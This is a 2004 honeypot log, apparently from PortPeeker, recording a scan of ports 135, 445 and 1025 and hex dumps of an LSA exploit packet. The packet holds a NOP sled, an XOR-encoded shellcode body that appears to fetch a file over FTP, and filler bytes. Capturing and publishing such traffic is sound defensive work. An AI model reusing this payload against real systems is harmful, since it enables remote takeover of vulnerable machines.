PortPeeker TCP Port 1025 Captures

In the never ending stream of attacks on TCP port 1025 we captured a LSA attack via TCP port 1025.  This was part of a scan against ports 135, 445 and 1025.

Apr 30, 2004 00:42:36.170 - (TCP) 68.144.36.36 : 3739 >>> 68.144.239.155 : 1025
Apr 30, 2004 00:42:36.120 - (TCP) 68.144.36.36 : 3762 >>> 68.144.239.155 : 445
Apr 30, 2004 00:42:36.060 - (TCP) 68.144.36.36 : 3733 >>> 68.144.239.155 : 135

It ran the same scan against port 135 as well.

68.144.36.36 : 2691 TCP Data In Length 72 bytes
MD5 = 5967B9E67817D7B4C39FB821460A57B0
---- 30/04/2004 00:40:29.900
0000 05 00 0B 03 10 00 00 00 48 00 00 00 01 00 00 00 ........H.......
0010 B8 10 B8 10 00 00 00 00 01 00 00 00 00 00 01 00 ................
0020 6A 28 19 39 0C B1 D0 11 9B A8 00 C0 4F D9 2E F5 j(.9........O...
0030 00 00 00 00 04 5D 88 8A EB 1C C9 11 9F E8 08 00 .....]..........
0040 2B 10 48 60 02 00 00 00                         +.H`....


68.144.36.36 : 2691 TCP Data In Length 1428 bytes
MD5 = E4BFB6C7B913198E1F9ADD068D3B3668
---- 30/04/2004 00:40:33.690
0000 05 00 00 03 10 00 00 00 20 85 00 00 01 00 00 00 ........ .......
0010 F0 84 00 00 00 00 09 00 01 40 00 00 00 00 00 00 .........@......
0020 01 40 00 00 90 90 90 90 90 90 90 90 90 90 90 90 .@..............
0030 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 EB 05 ................
0040 E8 F9 FF FF FF 5B 31 C9 66 B9 AD 02 80 73 0E AE .....[1.f....s..
0050 43 E2 F9 2F 42 AE BE AE AE 47 28 AE AE AE F5 46 C../B....G(....F
0060 14 AF AE AE 23 1D AA AE AE AE 23 15 A3 AE AE AE ....#.....#.....
0070 69 2D 07 AE AE AE A1 AE AE AE 46 8D AF AE AE 27 i-........F....'
0080 2D 92 AE AE AE 23 15 B2 AE AE AE 69 2D 07 AE AE -....#.....i-...
0090 AE A3 AE AE AE 46 A6 AF AE AE 27 2D 96 AE AE AE .....F....'-....
00A0 23 15 87 AE AE AE 46 45 AE AE AE 27 2D 9A AE AE #.....FE...'-...
00B0 AE 23 1D EE AE AE AE 23 15 E9 AE AE AE 46 7A AE .#.....#.....Fz.
00C0 AE AE 27 2D F4 AE AE AE 23 1D F0 AE AE AE 23 15 ..'-....#.....#.
00D0 CB AE AE AE 46 13 AE AE AE 27 2D C2 AE AE AE 46 ....F....'-....F
00E0 09 AF AE AE 46 DB 51 51 51 AE AE AE AE C5 CB DC ....F.QQQ.......
00F0 C0 CB C2 9D 9C AE E9 CB DA FE DC C1 CD EF CA CA ................
0100 DC CB DD DD AE E2 C1 CF CA E2 C7 CC DC CF DC D7 ................
0110 EF AE EB D6 C7 DA FA C6 DC CB CF CA AE AE AE AE ................
0120 AE AE AE AE AE AE AE AE AE DB DC C2 C3 C1 C0 AE ................
0130 FB FC E2 EA C1 D9 C0 C2 C1 CF CA FA C1 E8 C7 C2 ................
0140 CB EF AE AE AE AE AE C3 DD D8 CD DC DA AE DD D7 ................
0150 DD DA CB C3 AE AE AE AE AE CD 94 F2 D8 C6 CC C3 ................
0160 DB C1 D9 CC 80 CB D6 CB AE FB FB FB FB FB FB FB ................
0170 FB FB FB FB FB FB FB FB FB AE AE AE AE AE AE AE ................
0180 AE AE AE AE AE AE AE AE AE AE AE AE AE AE AE AE ................
0190 AE AE AE AE AE AE F8 51 FD 96 27 6F F9 FF 51 FD .......Q..'o..Q.
01A0 92 6D 9F 6E 27 2D 0B AE AE AE 25 3D 0B AE AE AE .m.n'-....%=....
01B0 95 3D 3B AE AE AE D3 CD EC 27 3D 0B AE AE AE 9F .=;......'=.....
01C0 6E 25 2D 0B AE AE AE 6F 4E AC 25 25 33 AE AE AE n%-....oN.%%3...
01D0 AF 6F 25 AF AD 2D 3F AE AE AE F9 F8 FF 27 50 27 .o%..-?......'P'
01E0 69 25 25 07 AE AE AE 5D 08 F7 F0 F1 DB 12 9F 6E i%%....].......n
01F0 25 2D 0B AE AE AE 7F 4E 25 25 0F AE AE AE AF 6F %-....N%%.....o
0200 9F 6E C8 25 AF 6F 4E AC 25 25 37 AE AE AE AF 66 .n.%.oN.%%7....f
0210 25 A6 AD 25 3F AE AE AE 27 66 6D 9F 6E 6D 9F 6E %..%?...'fm.nm.n
0220 CA 0F 9E AE AE AE 90 25 EE A2 90 25 DE B2 03 90 .......%...%....
0230 25 C6 A6 27 05 3F AE AE AE 27 46 AB 92 AE AE AE %..'.?...'F.....
0240 25 A6 AD 25 3F AE AE AE 2F 6F D6 AE AE AE 25 9F %..%?.../o....%.
0250 AD 1D 3F AE AE AE 2F 68 B6 AE AE AE 03 27 2D 3B ..?.../h.....'-;
0260 AE AE AE 03 AD 2D 3F AE AE AE 27 2D 37 AE AE AE .....-?...'-7...
0270 03 AD 2D 3F AE AE AE 27 2D 33 AE AE AE 03 AD 2D ..-?...'-3.....-
0280 3F AE AE AE 27 2D 0F AE AE AE 6D 47 9C AE AE AE ?...'-....mG....
0290 F7 C6 AE AE AE AE C6 AE AE AE AE 23 FD DE FC 23 ...........#...#
02A0 3F AA AE AE AE FC C6 AE AE AE AE 51 FD F4 23 FD ?..........Q..#.
02B0 DE FC 51 FD C2 46 AE AE AE AE C6 AE AE AE AE 51 ..Q..F.........Q
02C0 FD 9A 46 67 51 51 51 AE AE AE AE C8 DA DE 94 81 ..FgQQQ.........
02D0 81 CC C2 CF 94 CC C2 CF EE 9E 80 9E 80 9E 80 9E ................
02E0 94 9C 9C 99 96 9B 81 CC C1 DA 80 CB D6 CB AE C1 ................
02F0 CD C5 DD AE AE ED FC CB CA C7 DC CB CD DA FD E1 ................
0300 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0310 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0320 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0330 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0340 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0350 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0360 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0370 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0380 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0390 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
03A0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
03B0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
03C0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
03D0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
03E0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
03F0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0400 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0410 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0420 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0430 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0440 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0450 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0460 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0470 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0480 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0490 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
04A0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
04B0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
04C0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
04D0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
04E0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
04F0 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0500 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0510 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0520 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0530 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0540 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0550 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0560 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0570 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0580 00 46 00 01 00 46 00 01 00 46 00 01 00 46 00 01 .F...F...F...F..
0590 00 46 00 01                                     .F..

TCP Error
---- 30/04/2004 00:40:36.820
Error Code: 10054 Winsock error in recv()

Page last updated on April 30, 2004